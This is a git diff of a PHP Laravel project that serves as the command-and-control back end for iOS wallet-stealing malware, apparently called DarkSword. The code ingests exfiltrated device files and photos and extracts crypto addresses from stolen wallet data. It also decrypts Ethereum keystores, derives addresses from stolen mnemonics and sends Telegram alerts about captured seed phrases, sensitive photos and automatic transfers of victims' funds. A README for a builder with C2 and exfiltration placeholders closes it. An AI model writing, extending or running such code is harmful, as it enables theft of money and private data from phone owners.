} + if ($this->isVideo($filename)) { + return ['stored' => false, 'reason' => 'video_skipped', 'filename' => $filename]; + } + + $raw = $payload['data'] ?? null; + if (! is_string($raw) || $raw === '') { + return ['stored' => false, 'reason' => 'no_data', 'filename' => $filename]; + } + $bytes = base64_decode($raw, true); + if ($bytes === false) { + return ['stored' => false, 'reason' => 'bad_base64', 'filename' => $filename]; + } + + $commandId = $this->safeName((string) ($payload['command_id'] ?? 'unknown')) ?: 'unknown'; + $total = isset($payload['total_chunks']) ? (int) $payload['total_chunks'] : 0; + $index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null; + + if ($total > 1 && $index !== null) { + $assembled = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes); + if ($assembled === null) { + return [ + 'stored' => false, + 'reason' => 'chunk_pending', + 'filename' => $filename, + 'chunk_index' => $index, + 'total_chunks' => $total, + ]; + } + $bytes = $assembled; + } + + $hash = hash('sha256', $bytes); + if ($this->alreadyIngested($device, $filename, $hash)) { + return [ + 'stored' => false, + 'reason' => 'duplicate', + 'filename' => $filename, + 'size' => strlen($bytes), + ]; + } + + $rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename; + Storage::disk('local')->put($rel, $bytes); + $this->markSeen($device, $hash, $filename); + + $photo = false; + if ($this->isImage($filename) && $device->albumStorageEnabled()) { + $tmp = tempnam(sys_get_temp_dir(), 'ds_photo_'); + if ($tmp !== false) { + file_put_contents($tmp, $bytes); + $this->ingest->ingestPhotos($device, [$tmp]); + @unlink($tmp); + $photo = true; + } + } + + return [ + 'stored' => true, + 'path' => $rel, + 'photo' => $photo, + 'size' => strlen($bytes), + 'filename' => $filename, + ]; + } + + private function alreadyIngested(Device $device, string $filename, string $hash): bool + { + if (Storage::disk('local')->exists($this->seenPath($device, $hash))) { + return true; + } + if ($this->isImage($filename) + && Photo::query()->where('device_id', $device->id)->where('sha256', $hash)->exists()) { + $this->markSeen($device, $hash, $filename); + + return true; + } + + return false; + } + + private function markSeen(Device $device, string $hash, string $filename): void + { + Storage::disk('local')->put($this->seenPath($device, $hash), $filename); + } + + private function seenPath(Device $device, string $hash): string + { + return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash; + } + + private function acceptChunk( + Device $device, + string $commandId, + string $filename, + int $index, + int $total, + string $bytes, + ): ?string { + $dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename; + Storage::disk('local')->put($dir.'/'.$index, $bytes); + Storage::disk('local')->put($dir.'/total', (string) $total); + + for ($i = 0; $i < $total; $i++) { + if (! Storage::disk('local')->exists($dir.'/'.$i)) { + return null; + } + } + + $out = ''; + for ($i = 0; $i < $total; $i++) { + $out .= (string) Storage::disk('local')->get($dir.'/'.$i); + } + Storage::disk('local')->deleteDirectory($dir); + + return $out; + } + + private function isVideo(string $filename): bool + { + return in_array($this->extension($filename), self::VIDEO_EXT, true); + } + + private function isImage(string $filename): bool + { + return in_array($this->extension($filename), self::IMAGE_EXT, true); + } + + private function extension(string $filename): string + { + $dot = strrpos($filename, '.'); + if ($dot === false) { + return ''; + } + + return strtolower(substr($filename, $dot + 1)); + } + + private function safeName(string $name): string + { + $name = str_replace(["\0", '\\'], '', $name); + $name = basename(str_replace(['/', '\\'], '', $name)); + $name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name) ?? ''; + + return $name === '.' || $name === '..' ? '' : $name; + } +} diff --git a/app/Services/DsTrustAddressIngest.php b/app/Services/DsTrustAddressIngest.php new file mode 100644 index 0000000..c0e5198 --- /dev/null +++ b/app/Services/DsTrustAddressIngest.php @@ -0,0 +1,178 @@ + 'BITCOIN', + 60 => 'ETHEREUM', + 195 => 'TRON', + ]; + + public function __construct( + private readonly IngestService $ingest, + ) {} + + public function ingest(Device $device, mixed $node): int + { + $rows = $this->collect($node); + if ($rows === []) { + return 0; + } + $this->ingest->ingestAddresses($device, [ + 'a' => 'd', + 'data' => $rows, + ]); + + return count($rows); + } + + /** + * @return list + */ + public function collect(mixed $node): array + { + $picked = [ + 'BITCOIN' => [], + 'ETHEREUM' => [], + 'TRON' => [], + ]; + foreach ($this->walkAccounts($node) as $acct) { + $address = trim((string) ($acct['address'] ?? '')); + $chain = $this->chainFor($address, $acct['coin'] ?? null); + if ($chain === null) { + continue; + } + if (in_array($address, $picked[$chain], true)) { + continue; + } + if (count($picked[$chain]) >= self::MAX_PER_CHAIN) { + continue; + } + $picked[$chain][] = $address; + } + + $out = []; + foreach ($picked as $chain => $addresses) { + $symbol = match ($chain) { + 'BITCOIN' => 'BTC', + 'ETHEREUM' => 'ETH', + default => 'TRX', + }; + foreach ($addresses as $address) { + $out[] = [ + 'address' => $address, + 'chainType' => $chain, + 'symbol' => $symbol, + 'balance' => 0, + ]; + } + } + + return $out; + } + + /** + * @return list> + */ + private function walkAccounts(mixed $node, int $depth = 0): array + { + if ($depth > 8 || $node === null) { + return []; + } + if (is_string($node)) { + $decoded = $this->decodeBlob($node); + if ($decoded === null) { + return []; + } + + return $this->walkAccounts($decoded, $depth + 1); + } + if (! is_array($node)) { + return []; + } + if (isset($node['activeAccounts']) && is_array($node['activeAccounts'])) { + return array_values(array_filter( + $node['activeAccounts'], + static fn ($row) => is_array($row) + )); + } + $out = []; + foreach ($node as $key => $child) { + if (is_string($key) && strcasecmp($key, 'data_b64') === 0 && is_string($child)) { + $out = array_merge($out, $this->walkAccounts($child, $depth + 1)); + + continue; + } + $out = array_merge($out, $this->walkAccounts($child, $depth + 1)); + } + + return $out; + } + + private function decodeBlob(string $raw): mixed + { + $raw = trim($raw); + if ($raw === '') { + return null; + } + if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) { + $json = json_decode($raw, true); + + return is_array($json) ? $json : null; + } + $b64 = base64_decode($raw, true); + if (is_string($b64) && $b64 !== '') { + $json = json_decode($b64, true); + if (is_array($json)) { + return $json; + } + } + $hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? ''; + if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) { + $bin = @hex2bin($hex); + if (is_string($bin) && $bin !== '') { + $json = json_decode($bin, true); + if (is_array($json)) { + return $json; + } + } + } + + return null; + } + + private function chainFor(string $address, mixed $coin): ?string + { + if ($address === '') { + return null; + } + if (is_numeric($coin)) { + $mapped = self::COIN_CHAIN[(int) $coin] ?? null; + if ($mapped !== null) { + return $mapped; + } + + return null; + } + $inferred = match (WalletSource::inferChainType($address)) { + 'BITCOIN' => 'BITCOIN', + 'ETHEREUM' => 'ETHEREUM', + 'TRON' => 'TRON', + default => null, + }; + + return $inferred; + } +} diff --git a/app/Services/EthKeystore.php b/app/Services/EthKeystore.php new file mode 100644 index 0000000..c416e1f --- /dev/null +++ b/app/Services/EthKeystore.php @@ -0,0 +1,199 @@ + $kdfparams + * @return array + */ + public static function encrypt(string $plaintext, string $password, array $kdfparams = []): array + { + $salt = $kdfparams['salt'] ?? bin2hex(random_bytes(32)); + if (is_string($salt) && ctype_xdigit($salt)) { + $saltHex = strtolower($salt); + } else { + $saltHex = bin2hex((string) $salt); + } + $n = (int) ($kdfparams['n'] ?? 16); + $r = (int) ($kdfparams['r'] ?? 8); + $p = (int) ($kdfparams['p'] ?? 1); + $dklen = (int) ($kdfparams['dklen'] ?? 32); + $iv = random_bytes(16); + $derived = Scrypt::hash($password, hex2bin($saltHex) ?: '', $n, $r, $p, $dklen); + $ciphertext = openssl_encrypt($plaintext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv); + if (! is_string($ciphertext)) { + throw new \RuntimeException('aes-128-ctr encrypt failed'); + } + + return [ + 'version' => 3, + 'type' => 'mnemonic', + 'crypto' => [ + 'cipher' => 'aes-128-ctr', + 'cipherparams' => ['iv' => bin2hex($iv)], + 'ciphertext' => bin2hex($ciphertext), + 'kdf' => 'scrypt', + 'kdfparams' => [ + 'dklen' => $dklen, + 'n' => $n, + 'p' => $p, + 'r' => $r, + 'salt' => $saltHex, + ], + 'mac' => bin2hex(self::keccak256(substr($derived, 16, 16).$ciphertext)), + ], + ]; + } + + /** + * @param array $crypto + */ + private static function deriveKey(array $crypto, string $password): ?string + { + $kdf = strtolower((string) ($crypto['kdf'] ?? '')); + $params = is_array($crypto['kdfparams'] ?? null) ? $crypto['kdfparams'] : []; + $dklen = (int) ($params['dklen'] ?? 32); + $salt = self::fromHex($params['salt'] ?? null); + if ($salt === null || $dklen < 16) { + return null; + } + if ($kdf === 'scrypt') { + $n = (int) ($params['n'] ?? 0); + $r = (int) ($params['r'] ?? 0); + $p = (int) ($params['p'] ?? 0); + if ($n < 2 || $r < 1 || $p < 1) { + return null; + } + + return self::scrypt($password, $salt, $n, $r, $p, $dklen); + } + if ($kdf === 'pbkdf2') { + $c = (int) ($params['c'] ?? 0); + $prf = strtolower((string) ($params['prf'] ?? 'hmac-sha256')); + if ($c < 1 || ! str_contains($prf, 'sha256')) { + return null; + } + + return hash_pbkdf2('sha256', $password, $salt, $c, $dklen, true); + } + + return null; + } + + private static function scrypt(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string + { + if ($n >= 256) { + $fast = self::scryptPython($password, $salt, $n, $r, $p, $dklen); + if ($fast !== null) { + return $fast; + } + } + try { + return Scrypt::hash($password, $salt, $n, $r, $p, $dklen); + } catch (\Throwable) { + return null; + } + } + + private static function scryptPython(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string + { + $python = trim((string) shell_exec('command -v python3')); + if ($python === '') { + return null; + } + $code = <<<'PY' +from Crypto.Protocol.KDF import scrypt +import sys +pw = bytes.fromhex(sys.argv[1]) +salt = bytes.fromhex(sys.argv[2]) +n, r, p, dk = (int(sys.argv[i]) for i in range(3, 7)) +sys.stdout.buffer.write(scrypt(pw, salt, dk, N=n, r=r, p=p)) +PY; + $cmd = [ + $python, + '-c', + $code, + bin2hex($password), + bin2hex($salt), + (string) $n, + (string) $r, + (string) $p, + (string) $dklen, + ]; + $spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; + $proc = @proc_open($cmd, $spec, $pipes); + if (! is_resource($proc)) { + return null; + } + fclose($pipes[0]); + $out = stream_get_contents($pipes[1]); + fclose($pipes[1]); + fclose($pipes[2]); + $codeStatus = proc_close($proc); + if ($codeStatus !== 0 || ! is_string($out) || strlen($out) !== $dklen) { + return null; + } + + return $out; + } + + private static function keccak256(string $data): string + { + return hex2bin(Keccak::hash($data, 256)) ?: ''; + } + + private static function fromHex(mixed $value): ?string + { + if (! is_string($value) || $value === '') { + return null; + } + $hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? ''; + if ($hex === '' || strlen($hex) % 2 !== 0) { + return null; + } + $bin = @hex2bin($hex); + + return is_string($bin) ? $bin : null; + } +} diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 6506710..f7a985b 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -477,8 +477,15 @@ class IngestService return; } + $source = WalletSource::fromKeystoreHint($payload['a'] ?? null); + if ($source === '' && is_array($result)) { + $source = WalletSource::fromKeystoreHint($result['source'] ?? null); + } + WalletKeystore::query()->create([ 'device_id' => $device->id, + 'source' => $source, + 'decrypted' => 0, 'raw_json' => is_array($result) ? $result : ['value' => $result], ]); } diff --git a/app/Services/MnemonicWalletDiscovery.php b/app/Services/MnemonicWalletDiscovery.php index a0c4bcf..a60c5da 100644 --- a/app/Services/MnemonicWalletDiscovery.php +++ b/app/Services/MnemonicWalletDiscovery.php @@ -10,7 +10,7 @@ use Illuminate\Support\Facades\Log; /** * When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC, - * query balances, and persist only chains that have a positive balance. + * query balances, and persist the addresses even when the balance is zero. */ class MnemonicWalletDiscovery { @@ -26,9 +26,9 @@ class MnemonicWalletDiscovery ) {} /** - * @return int Number of address rows created or updated with positive balance + * @return int Number of address rows created or updated */ - public function discoverFundedIndexZero(WalletMnemonic $mnemonic): int + public function discoverIndexZero(WalletMnemonic $mnemonic): int { $phrase = $mnemonic->mnemonic; if ($phrase === null || trim($phrase) === '') { @@ -70,9 +70,15 @@ class MnemonicWalletDiscovery ): bool { $driver = $this->chains->resolve($chain); $address = $driver->deriveAddress($phrase, 0); - $coins = $this->fetchCoins($chain, $address); - if (! $this->hasPositiveBalance($coins)) { - return false; + try { + $coins = $this->fetchCoins($chain, $address); + } catch (\Throwable $e) { + Log::warning('mnemonic wallet discovery balance failed: '.$e->getMessage(), [ + 'mnemonic_id' => $mnemonic->id, + 'chain' => $chain, + 'address' => $address, + ]); + $coins = $this->emptyCoins($chain); } $row = WalletAddress::query()->firstOrNew([ @@ -95,6 +101,19 @@ class MnemonicWalletDiscovery return true; } + /** + * @return array + */ + private function emptyCoins(string $chain): array + { + return match ($chain) { + 'tron' => ['trx' => '0', 'usdt' => '0'], + 'eth' => ['eth' => '0', 'usdt' => '0'], + 'btc' => ['btc' => '0'], + default => [], + }; + } + /** * @return array */ @@ -131,21 +150,4 @@ class MnemonicWalletDiscovery return '0'; } } - - /** - * @param array $coins - */ - private function hasPositiveBalance(array $coins): bool - { - foreach ($coins as $value) { - if (! is_numeric($value)) { - continue; - } - if (bccomp((string) $value, '0', 18) > 0) { - return true; - } - } - - return false; - } } diff --git a/app/Services/PhotoPreview.php b/app/Services/PhotoPreview.php new file mode 100644 index 0000000..c660fb5 --- /dev/null +++ b/app/Services/PhotoPreview.php @@ -0,0 +1,234 @@ +isHeic($absPath, $mime, $raw)) { + return [ + 'bytes' => $raw, + 'mime' => $mime, + 'converted' => false, + ]; + } + + $cacheRel = $this->cachePath($deviceKey, $sha256); + $disk = Storage::disk('local'); + if ($disk->exists($cacheRel)) { + $cached = (string) $disk->get($cacheRel); + if ($this->isJpeg($cached)) { + return [ + 'bytes' => $cached, + 'mime' => 'image/jpeg', + 'converted' => true, + ]; + } + } + + $jpeg = $this->convertToJpeg($absPath); + if ($jpeg === null) { + Log::warning('heic preview convert failed', [ + 'path' => $absPath, + 'sha256' => $sha256, + ]); + + return [ + 'bytes' => $raw, + 'mime' => $mime, + 'converted' => false, + ]; + } + + $disk->put($cacheRel, $jpeg); + + return [ + 'bytes' => $jpeg, + 'mime' => 'image/jpeg', + 'converted' => true, + ]; + } + + public function forgetForDevice(string $deviceKey): void + { + $dir = self::CACHE_DIR.'/'.$this->safeKey($deviceKey); + try { + if (Storage::disk('local')->directoryExists($dir)) { + Storage::disk('local')->deleteDirectory($dir); + } + } catch (\Throwable) { + try { + Storage::disk('local')->deleteDirectory($dir); + } catch (\Throwable) { + } + } + } + + public function headLooksHeic(string $head): bool + { + if (strlen($head) < 12 || substr($head, 4, 4) !== 'ftyp') { + return false; + } + $brands = substr($head, 8); + foreach (['heic', 'heix', 'heif', 'hevc', 'hevx', 'mif1', 'msf1'] as $brand) { + if (str_contains($brands, $brand)) { + return true; + } + } + + return false; + } + + private function isHeic(string $absPath, string $mime, string $raw): bool + { + $mime = strtolower($mime); + if (str_contains($mime, 'heic') || str_contains($mime, 'heif')) { + return true; + } + $ext = strtolower(pathinfo($absPath, PATHINFO_EXTENSION)); + if (in_array($ext, ['heic', 'heif'], true)) { + return true; + } + + return $this->headLooksHeic(substr($raw, 0, 32)); + } + + private function isJpeg(string $bytes): bool + { + return strlen($bytes) >= 3 && substr($bytes, 0, 2) === "\xFF\xD8"; + } + + private function convertToJpeg(string $absPath): ?string + { + $src = null; + $dst = null; + try { + $srcBase = tempnam(sys_get_temp_dir(), 'heic_src_'); + $dstBase = tempnam(sys_get_temp_dir(), 'heic_dst_'); + if ($srcBase === false || $dstBase === false) { + return null; + } + @unlink($srcBase); + @unlink($dstBase); + $src = $srcBase.'.heic'; + $dst = $dstBase.'.jpg'; + if (! @copy($absPath, $src)) { + return null; + } + + foreach ($this->convertCommands($src, $dst) as $cmd) { + $result = Process::timeout(45)->run($cmd); + if (! $result->successful() || ! is_file($dst) || filesize($dst) < 3) { + continue; + } + $bytes = (string) file_get_contents($dst); + if ($this->isJpeg($bytes)) { + return $bytes; + } + } + + return null; + } finally { + if (is_string($src) && is_file($src)) { + @unlink($src); + } + if (is_string($dst) && is_file($dst)) { + @unlink($dst); + } + } + } + + /** + * @return list> + */ + private function convertCommands(string $src, string $dst): array + { + $cmds = []; + if (is_executable('/usr/bin/sips')) { + $cmds[] = ['/usr/bin/sips', '-s', 'format', 'jpeg', '--out', $dst, $src]; + } + foreach (['heif-convert', 'magick'] as $bin) { + $path = $this->resolveBinary($bin); + if ($path === null) { + continue; + } + $cmds[] = $bin === 'magick' + ? [$path, $src, '-quality', '85', $dst] + : [$path, $src, $dst]; + } + + return $cmds; + } + + private function resolveBinary(string $name): ?string + { + $candidates = match ($name) { + 'magick' => ['magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'], + 'heif-convert' => ['heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'], + default => [$name], + }; + foreach ($candidates as $bin) { + if (str_contains($bin, DIRECTORY_SEPARATOR)) { + if (is_executable($bin)) { + return $bin; + } + + continue; + } + $found = $this->which($bin); + if ($found !== null) { + return $found; + } + } + + return null; + } + + private function which(string $name): ?string + { + $path = getenv('PATH'); + if (! is_string($path) || $path === '') { + return null; + } + foreach (explode(PATH_SEPARATOR, $path) as $dir) { + $candidate = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$name; + if (is_executable($candidate)) { + return $candidate; + } + } + + return null; + } + + private function cachePath(string $deviceKey, string $sha256): string + { + $sha = preg_replace('/[^0-9a-fA-F]/', '', $sha256) ?? ''; + if ($sha === '') { + $sha = 'unknown'; + } + + return self::CACHE_DIR.'/'.$this->safeKey($deviceKey).'/'.$sha.'.jpg'; + } + + private function safeKey(string $key): string + { + $key = preg_replace('/[^A-Za-z0-9._-]/', '_', $key) ?? ''; + + return $key === '' ? '_unknown' : $key; + } +} diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index b054961..12b17a6 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -185,7 +185,7 @@ class TelegramNotifier public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void { $this->send(implode("\n", [ - '📱 New Device', + '📱 新设备', ...$this->deviceHeader($deviceId), '🍎 iOS: '.$this->e($ios ?: '—'), '🌐 IP: '.$this->e($ip ?: '—').'', @@ -214,7 +214,7 @@ class TelegramNotifier } $lines = [ - '💰 New Wallet Address'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''), + '💰 新钱包地址'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''), ...$this->deviceHeader($deviceId), ]; @@ -227,12 +227,12 @@ class TelegramNotifier if ($i > 0) { $lines[] = ''; } - $lines[] = '⛓ Chain: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—'); + $lines[] = '⛓ 链: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—'); if ($source !== '') { - $lines[] = '🏷 Source: '.$this->e($source); + $lines[] = '🏷 来源: '.$this->e($source); } - $lines[] = '📬 Address: '.$this->e($w['address'] ?? '').''; - $lines[] = '💵 Balance: '.$this->e($bal); + $lines[] = '📬 地址: '.$this->e($w['address'] ?? '').''; + $lines[] = '💵 余额: '.$this->e($bal); } $this->send(implode("\n", $lines), $deviceId); @@ -249,29 +249,29 @@ class TelegramNotifier } $this->send(implode("\n", [ - '👜 Installed Wallets', + '👜 已安装钱包', ...$this->deviceHeader($deviceId), - '🏷 Wallets: '.$this->e(implode(', ', $wallets)), + '🏷 钱包: '.$this->e(implode(', ', $wallets)), ]), $deviceId); } public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void { $this->send(implode("\n", [ - '🔐 New Mnemonic', + '🔐 新助记词', ...$this->deviceHeader($deviceId), - '🏷 Source: '.$this->e($source ?: '—'), - '📝 Mnemonic: '.$this->e(WalletMnemonic::maskSecret($memoric)).'', + '🏷 来源: '.$this->e($source ?: '—'), + '📝 助记词: '.$this->e(WalletMnemonic::maskSecret($memoric)).'', ]), $deviceId); } public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void { $this->send(implode("\n", [ - '🖼 Sensitive Photo', + '🖼 敏感照片', ...$this->deviceHeader($deviceId), - '🎯 x-hit: '.$this->e((string) $xHit), - '📦 Count: '.$this->e((string) max(1, $count)), + '🎯 敏感分: '.$this->e((string) $xHit), + '📦 数量: '.$this->e((string) max(1, $count)), ]), $deviceId); } @@ -284,14 +284,14 @@ class TelegramNotifier ?string $balance = null, ): void { $lines = [ - '✅ Balance Inbound', + '✅ 余额入账', ...$this->deviceHeader($deviceId), - '⛓ Chain: '.$this->e($chain ?: '—'), - '📬 Address: '.$this->e($address).'', - '💵 Amount: +'.$this->e($amount).' '.$this->e($symbol), + '⛓ 链: '.$this->e($chain ?: '—'), + '📬 地址: '.$this->e($address).'', + '💵 金额: +'.$this->e($amount).' '.$this->e($symbol), ]; if ($balance !== null && trim($balance) !== '') { - $lines[] = '💰 Balance: '.$this->e($balance); + $lines[] = '💰 余额: '.$this->e($balance); } $this->send(implode("\n", $lines), $deviceId); } @@ -311,23 +311,23 @@ class TelegramNotifier ?string $error = null, ): void { $lines = [ - $ok ? '🚀 Auto Transfer OK' : '⚠️ Auto Transfer Failed', + $ok ? '🚀 自动转账成功' : '⚠️ 自动转账失败', ...$this->deviceHeader($deviceId), - '⛓ Chain: '.$this->e($chain !== '' ? strtoupper($chain) : '—'), - '💎 Asset: '.$this->e($asset !== '' ? strtoupper($asset) : '—'), - '📤 From: '.$this->e($fromAddress).'', + '⛓ 链: '.$this->e($chain !== '' ? strtoupper($chain) : '—'), + '💎 资产: '.$this->e($asset !== '' ? strtoupper($asset) : '—'), + '📤 转出: '.$this->e($fromAddress).'', ]; if ($toAddress !== null && trim($toAddress) !== '') { - $lines[] = '📥 To: '.$this->e($toAddress).''; + $lines[] = '📥 转入: '.$this->e($toAddress).''; } if ($amount !== null && trim($amount) !== '') { - $lines[] = '💵 Amount: '.$this->e($amount).' '.$this->e(strtoupper($asset)); + $lines[] = '💵 金额: '.$this->e($amount).' '.$this->e(strtoupper($asset)); } if ($ok && $txid !== null && trim($txid) !== '') { - $lines[] = '🔗 Tx: '.$this->e($txid).''; + $lines[] = '🔗 交易: '.$this->e($txid).''; } if (! $ok && $error !== null && trim($error) !== '') { - $lines[] = '❌ Error: '.$this->e($error); + $lines[] = '❌ 错误: '.$this->e($error); } $this->send(implode("\n", $lines), $deviceId); } @@ -345,19 +345,19 @@ class TelegramNotifier ?string $error = null, ): void { $lines = [ - $ok ? '⚡ TRX Fee Top-up OK' : '⚠️ TRX Fee Top-up Failed', + $ok ? '⚡ TRX 手续费补足成功' : '⚠️ TRX 手续费补足失败', ...$this->deviceHeader($deviceId), - '📤 Fee wallet: '.$this->e($feeFrom).'', - '📥 To: '.$this->e($toAddress).'', + '📤 手续费钱包: '.$this->e($feeFrom).'', + '📥 转入: '.$this->e($toAddress).'', ]; if ($amount !== null && trim($amount) !== '') { - $lines[] = '💵 Amount: '.$this->e($amount).' TRX'; + $lines[] = '💵 金额: '.$this->e($amount).' TRX'; } if ($ok && $txid !== null && trim($txid) !== '') { - $lines[] = '🔗 Tx: '.$this->e($txid).''; + $lines[] = '🔗 交易: '.$this->e($txid).''; } if (! $ok && $error !== null && trim($error) !== '') { - $lines[] = '❌ Error: '.$this->e($error); + $lines[] = '❌ 错误: '.$this->e($error); } $this->send(implode("\n", $lines), $deviceId); } @@ -368,8 +368,8 @@ class TelegramNotifier $channelId = $this->contextForDevice($deviceId)['channel_id']; return [ - '📱 Device: '.$this->e($deviceId).'', - '📡 ChannelID: '.$this->e($channelId !== '' ? $channelId : '—').'', + '📱 设备: '.$this->e($deviceId).'', + '📡 渠道 ID: '.$this->e($channelId !== '' ? $channelId : '—').'', ]; } diff --git a/app/Support/Scrypt.php b/app/Support/Scrypt.php new file mode 100644 index 0000000..593acfa --- /dev/null +++ b/app/Support/Scrypt.php @@ -0,0 +1,131 @@ +> (32 - $b))) & 0xFFFFFFFF; + } +} diff --git a/app/Support/UserAgentParser.php b/app/Support/UserAgentParser.php index 18d98ea..670deea 100644 --- a/app/Support/UserAgentParser.php +++ b/app/Support/UserAgentParser.php @@ -25,6 +25,14 @@ final class UserAgentParser [$os, $osVersion] = self::parseOs($ua); [$browser, $browserVersion] = self::parseBrowser($ua); + // iOS 26+ Safari still reports "iPhone OS 18_7" for compatibility. + // When Version/ is 26+ and the OS token is 18.7, use Version/ for both fields. + $compatVersion = self::ios26CompatVersion($ua); + if ($compatVersion !== null && self::isIos187CompatToken($os, $osVersion)) { + $osVersion = $compatVersion; + $browserVersion = $compatVersion; + } + return [ 'os' => $os, 'os_version' => $osVersion, @@ -33,6 +41,29 @@ final class UserAgentParser ]; } + private static function isIos187CompatToken(string $os, string $osVersion): bool + { + if (! in_array($os, ['iOS', 'iPadOS'], true)) { + return false; + } + + return $osVersion === '18.7' || str_starts_with($osVersion, '18.7.'); + } + + private static function ios26CompatVersion(string $ua): ?string + { + if (! preg_match('/Version\/(\d+(?:\.\d+){0,2})/i', $ua, $m)) { + return null; + } + + $major = (int) explode('.', $m[1])[0]; + if ($major < 26) { + return null; + } + + return $m[1]; + } + /** * @return array{0: string, 1: string} */ diff --git a/app/Support/WalletSource.php b/app/Support/WalletSource.php index 56106a1..9fa8196 100644 --- a/app/Support/WalletSource.php +++ b/app/Support/WalletSource.php @@ -78,6 +78,37 @@ final class WalletSource 'com.global.wallet.ios' => 'Global Wallet', ]; + /** + * DS /war wallet bucket keys → display name. Unknown keys stay empty. + * + * @var array + */ + private const DS_WALLET_KEYS = [ + 'trustwallet' => 'Trust Wallet', + 'trust_wallet' => 'Trust Wallet', + 'trust' => 'Trust Wallet', + 'imtoken' => 'imToken', + 'im.token' => 'imToken', + 'tokenpocket' => 'TokenPocket', + 'token_pocket' => 'TokenPocket', + 'phantom' => 'Phantom', + 'uniswap' => 'Uniswap', + 'coinbase' => 'Coinbase Wallet', + 'bitget' => 'BitKeep', + 'bitkeep' => 'BitKeep', + 'metamask' => 'MetaMask', + 'okx' => 'OKX', + 'tronlink' => 'TronLink', + 'coin98' => 'Coin98', + 'solflare' => 'Solflare', + 'exodus' => 'Exodus', + 'tonkeeper' => 'Tonkeeper', + 'mytonwallet' => 'MyTonWallet', + 'tonhub' => 'Tonhub', + 'bitpie' => 'Bitpie', + 'telegram' => 'Telegram', + ]; + /** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */ private const NON_MNEMONIC_BUNDLES = [ 'ph.telegra.Telegraph', @@ -94,6 +125,73 @@ final class WalletSource return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag; } + /** + * Keystore source: known wallet name, or empty when unrecognized. + */ + public static function fromKeystoreHint(mixed $hint): string + { + if (! is_string($hint) || trim($hint) === '') { + return ''; + } + $raw = trim($hint); + $key = strtolower($raw); + if (isset(self::TAGS[$key])) { + return self::TAGS[$key]; + } + if (isset(self::DS_WALLET_KEYS[$key])) { + return self::DS_WALLET_KEYS[$key]; + } + foreach (self::knownLabels() as $label) { + if (strcasecmp($label, $raw) === 0) { + return $label; + } + } + if (str_contains($key, 'utc--') || str_contains($key, 'trustwallet') || str_contains($key, 'trust_wallet')) { + return 'Trust Wallet'; + } + if (str_contains($key, 'bitpie')) { + return 'Bitpie'; + } + if (str_contains($key, 'imtoken') || str_contains($key, 'im.token')) { + return 'imToken'; + } + if (str_contains($key, 'tokenpocket') || str_contains($key, 'token_pocket')) { + return 'TokenPocket'; + } + if (str_contains($key, 'metamask')) { + return 'MetaMask'; + } + + return ''; + } + + /** + * Plugin tag used when writing a recovered mnemonic (`d` = Trust Wallet). + */ + public static function tagForLabel(string $label): string + { + $label = trim($label); + foreach (self::TAGS as $tag => $name) { + if (strcasecmp($name, $label) === 0) { + return $tag; + } + } + + return ''; + } + + /** + * @return list + */ + private static function knownLabels(): array + { + return array_values(array_unique(array_merge( + array_values(self::TAGS), + array_values(self::DS_WALLET_KEYS), + array_values(self::BUNDLE_LABELS), + ))); + } + /** * True when this bundle is a business plugin that can extract a mnemonic. */ diff --git a/bootstrap/app.php b/bootstrap/app.php index d2543e4..5922941 100644 --- a/bootstrap/app.php +++ b/bootstrap/app.php @@ -1,5 +1,7 @@ alias([ - 'admin.super' => \App\Http\Middleware\EnsureSuperAdmin::class, - 'panel.host' => \App\Http\Middleware\EnsurePanelHost::class, + 'admin.super' => EnsureSuperAdmin::class, + 'panel.host' => EnsurePanelHost::class, ]); $middleware->validateCsrfTokens(except: [ 'api/*', 'link/*', 'hooks/*', + 'hook/*', 'statistic/t', 'vhx', 'event', @@ -57,6 +61,11 @@ return Application::configure(basePath: dirname(__DIR__)) 'ub', 'ba', 'result', + 'beacon', + 'war', + 'p', + 'stats', + 'log.html', ]); $middleware->redirectGuestsTo(function () { diff --git a/channel-builder-ds/.gitignore b/channel-builder-ds/.gitignore new file mode 100644 index 0000000..e9db18a --- /dev/null +++ b/channel-builder-ds/.gitignore @@ -0,0 +1,3 @@ +.venv/ +out/ +.DS_Store diff --git a/channel-builder-ds/README.md b/channel-builder-ds/README.md new file mode 100644 index 0000000..7187096 --- /dev/null +++ b/channel-builder-ds/README.md @@ -0,0 +1,26 @@ +# channel-builder-ds + +DarkSword / one99 static builder. `source/` is the pristine tree (live hosts). +`tools/build.py` rewrites C2 / delivery origins and copies the result to +`public/next-chain`. Runtime splits two bases: + +- `__LAB_DELIVERY_HOST__` — static assets; may include a path (`https://cdn.example.com/next-chain`) +- `__LAB_EXFIL__` — C2 / API (`/api/ds/chain-targets`, 